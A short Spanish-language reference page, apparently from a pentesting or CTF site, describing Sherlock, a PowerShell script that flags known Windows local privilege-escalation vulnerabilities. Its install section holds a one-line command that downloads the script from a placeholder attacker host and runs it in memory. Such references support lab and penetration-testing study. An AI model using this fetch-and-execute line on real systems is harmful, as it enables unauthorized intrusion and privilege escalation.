the_open_door
café
ESEN
← Herramientas

Sherlock

Busca vulnerabilidades de escalada locales de Windows desde PowerShell.

Script de PowerShell que revisa un Windows en busca de vulnerabilidades de escalada local conocidas (MS10-015, MS16-032, etc.) y dice a cuáles es probablemente vulnerable.

Familia Escalada de privilegios

Flags Find-AllVulns

Conceptos Windows kernel exploit

Instalación

# Sherlock.ps1 busca CVEs de escalada locales en Windows (heredero: Watson). Traerlo en
# memoria desde Kali y lanzarlo:
IEX(New-Object Net.WebClient).DownloadString('http://<lhost>/Sherlock.ps1'); Find-AllVulns

Comandos útiles1 comandos

Aparece en

Algunas máquinas donde se documenta su uso; no es una lista exhaustiva.